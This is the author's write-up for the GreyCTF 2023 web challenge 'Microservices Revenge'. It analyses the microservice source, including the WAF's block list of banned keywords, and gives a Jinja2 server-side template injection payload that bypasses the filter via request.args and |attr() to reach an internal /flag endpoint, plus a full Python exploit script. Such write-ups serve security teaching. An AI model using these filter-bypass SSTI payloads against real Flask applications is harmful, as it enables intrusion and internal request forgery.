Skip to main content
  1. My Blog Posts and Stories/

GreyCTF 2023 Qualifiers: Microservices Revenge

·1366 words·7 mins

This is the author’s writeup for the challenges Microservices Revenge in the web category.

This describes the intended solution when I made the challenge.

Challenge description #

I’ve upgraded the security of this website and added a new feature. Can you still break it?

  • Junhua

Similar to Microservices, a dist.zip was also provided for this challenge with the server set up.s

My Notes #

  • Was expecting the challenge to be solve after a few hours, but it was solved around the first hour.
  • There were unexpected solutions due to the nature of the setup.
  • This was meant to be more of a Medium difficulty web challenge for CTF Veterans.
  • This challenge tests on the following:
    • Server Side Template Injection (SSTI) with black listed characters
    • Sending a request through a SSTI using jinja2 functions

Notes to future self #

  1. Spawn more gateways to handle more traffic.
  2. Create the dist.zip file only after the challenge is ready.
  3. Do not run flask as root user in docker container. (Resulted in a unexpected solution)

Analyzing the files #

For this challenge, there are 4 different microservices.

  1. Gateway
  2. Admin Page
  3. Home Page
  4. Flag Page

If you have not taken a look at the Microservices writeup, I would recommend you to do so first as the code analysis will be similar and I will only be going through the main code differences.

Gateway #

This are the notable changes to the gateway from Microservices.

routes = {
    "adminpage": "http://radminpage",
    "homepage": "http://rhomepage",
    "flagpage": "http://rflagpage/construction",
}

...

# Extra protection for my page.
banned_chars = {"\\","_","'","%25","self","config","exec","class","eval","get"}


def is_sus(microservice: str, cookies: dict) -> bool:
    """Check if the arguments are sus"""
    acc = [val for val in cookies.values()]
    acc.append(microservice)
    for word in acc:
        for char in word:
            if char in banned_chars:
                return True
    return False


@app.route("/", methods=["GET"])
def route_traffic() -> Response:
    """Route the traffic to upstream"""
    ...
    # My WAF
    if is_sus(request.args.to_dict(), request.cookies.to_dict()):
        return Response("Why u attacking me???\nGlad This WAF is working!", 400)

    # Fetch the required page with arguments appended
    with Session() as s:
        for k, v in request.cookies.items():
            s.cookies.set(k, v)
    ...

Compared to the gateway from Microservices, we can see that the main domain has been changed and there is a new /flag endpoint.

Cookies are also set in the get request from the gateway to the microservices.

However, there is now a small “Firewall” that fails requests that contains the following characters: \\, _, ', %25, self, config, exec, class, eval and get.

Do note that the %25 is the URL encoded version of %. In this implementation of the firewall, the %25 is not actually preventing the % character from being used as the characters will be unquoted before being checked.

Admin Page #

The admin page is completely different from Microservices.

@app.get("/")
def index() -> Response:
    """
    The base service for admin site
    """
    user = request.cookies.get("user", "user")

    # Currently Work in Progress
    return render_template_string(
        f"Sorry {user}, the admin page is currently not open."
    )

From the code, we can see that the server makes use of render_template_string, which is vulnerable to Server Side Template Injection (SSTI). We can also see that the user used in the template string comes from the cookie user which we can control.

This is the main entry point for the user to start solving the challenge.

Home Page #

@app.route("/")
def homepage() -> Response:
    """The homepage for the app"""
    cookie = request.cookies.get("cookie", "")

    # Render normal page
    response = make_response(render_template("index.html", user=cookie))
    response.set_cookie("cookie", cookie if len(cookie) > 0 else "user")
    return response

The homepage is also slightly different from Microservices. Now it sets the cookie cookie to the value of the cookie cookie or user if the cookie cookie is empty.

{% extends 'base.html' %}

{% block alert %}
<div class="alert alert-danger" role="alert">
  This website is under construction, only admins allowed.
</div>
{% endblock %}

{% block content %}
<h1>Hi {{user | safe}}</h1>
<h2>You are not an admin</h2>
<p>I am still constructing my microservices site. Please come back later</p>
{% endblock %}

The template is also different and contains a {{ user | safe }} this is a red herring it only allows for injecting html elements into the home page website as a self xss.

Flag Page #

This is a new service that is not previously available in Microservices.

@app.route("/")
def index() -> Response:
    """Main page of flag service"""
    # Users can't see this anyways so there is no need to beautify it
    # TODO Create html for the page
    return jsonify({"message": "Welcome to the homepage"})


@app.route("/flag")
def flag() -> Response:
    """Flag endpoint for the service"""
    return jsonify({"message": f"This is the flag: {FLAG}"})


@app.route("/construction")
def construction() -> Response:
    return jsonify({"message": "The webpage is still under construction"})

There are 2 different endpoints in the flag service.

  1. The / route which shows a welcome message
  2. The /flag route which shows us our flag. This is also the target server we should hit.
  3. The /constuction route which shows us a message that the website is still under construction. This is also the page that is pointed to by the gateway when a user tries to visit the page directly.

Solution #

From what we have gathered so far, we must fulfil 2 different conditions in order to get the flag

  1. Bypass the filters at the gateway
  2. Make a get request to the /flag endpoint of the flag service

Also, do note that the cookie set in gateway and the cookie used in admin page is different. Gateway users cookie while the adminpage users user instead.

This is where submodules come in handy.

For a typical Jinja2 (Template engine using flask) Server Side Template Injection challenge, we make use of the construct to leak all available functions so we can use them,

# SSTI Leak available objects
"".__classes__.__mro__.__getitem__(1).__subclasses__()
# This is basically getting the subclasses of the object class in python. (Which is everything)

However, due to the web application firewall, we will have to use some tricks to change the payload to bypass the firewall.

Within Jinja2 templates, we can access the query parameters using request.args, this allows us to use some constructs which are not allowed in the cookie.

Template Request args
Template Request args

By using request.args, we can insert __class__ into the template and bypassing the firewall.

However, we still need a way to access an element of the class with the string. This is where |attr() comes in.

To access an element, instead of using a.b, we can also use a|attr('b'). This allows us to access the element of the class with a string instead.

With these 2 primitives, we can now leak all available functions from jinja2.

We can visit /?service=adminpage&cl=__class__&mro=__mro__&sub=__subclasses__&getitem=__getitem__" with the cookie below to obtain all the subclasses of the object class

# "".__classes__.__mro__.__getitem__(1).__subclasses__() becomes 
{{"" |attr(request.args.mro)|attr(request.args.getitem)(1)|attr(request.args.sub)()}}

Leaked object class
Subclasses of object class

This shows all the leaked functions we have in the template.

To filter for functions which are required, we can simple find the string HTTP and we will come across the <class 'http.client.HTTPConnection'> class which allows us to make a HTTP request.

It is in the index 445 so we can access it using ['445'].

Now, we will have to create the connection and read the contents.

By using {%set conn=....%} we can create a conn variable and make use of another {{}} to read the contents of the request.

This will give us the payload below.

{%set conn=""|attr(request.args.cl)|attr(request.args.mro)|attr(request.args.getitem)(1)|attr(request.args.sub)()|attr(request.args.getitem)(445)("rflagpage")%}{{conn.request("GET","/flag")}}{{conn.getresponse().read()}}

By placing this as the cookie and visiting /?service=adminpage&cl=__class__&mro=__mro__&sub=__subclasses__&getitem=__getitem__, we will receive the flag

Flag
Flag with url and cookie

Solution Script #

The full solution script in Python is shown below.

import re
from requests import Session

BASE_URL = "http://localhost:5005"
FLAG_FORMAT = re.compile(r"grey{.*?}")

with Session() as s:
    response1 = s.get(
        f"{BASE_URL}/?service=adminpage&cl=__class__&mro=__mro__&sub=__subclasses__&getitem=__getitem__",
        cookies={
            'user': """{{""|attr(request.args.cl)|attr(request.args.mro)|attr(request.args.getitem)(1)|attr(request.args.sub)()}}"""
        }
    )

    # Find request object
    c1=response1.content.decode()
    sub_classes = c1.split(',')

    # Check if lib to send HTTP request is present
    request_lib = list(filter(lambda x: 'http.client.HTTPConnection' in x, sub_classes))
    if len(request_lib) == 0:
        print("No object found to make HTTP request")
        print(c1)
        exit(1)

    # Get index of request object
    index = sub_classes.index(request_lib[0])

    # Send a request to the flag page and obtain response on the admin page
    response = s.get(
        f"{BASE_URL}/?service=adminpage&cl=__class__&mro=__mro__&sub=__subclasses__&getitem=__getitem__",
        cookies={
            "user": """{%set conn=""|attr(request.args.cl)|attr(request.args.mro)|attr(request.args.getitem)(1)|attr(request.args.sub)()|attr(request.args.getitem)("""
            f"{index}"
            """)("rflagpage")%}{{conn.request("GET","/flag")}}{{conn.getresponse().read()}}"""
        },
    )
    content = response.content.decode()
    result = FLAG_FORMAT.search(content)

    if result is not None:
        print(f"Flag: {result.group(0)}")
    else:
        print("No flag found")
        print("Content: ", content)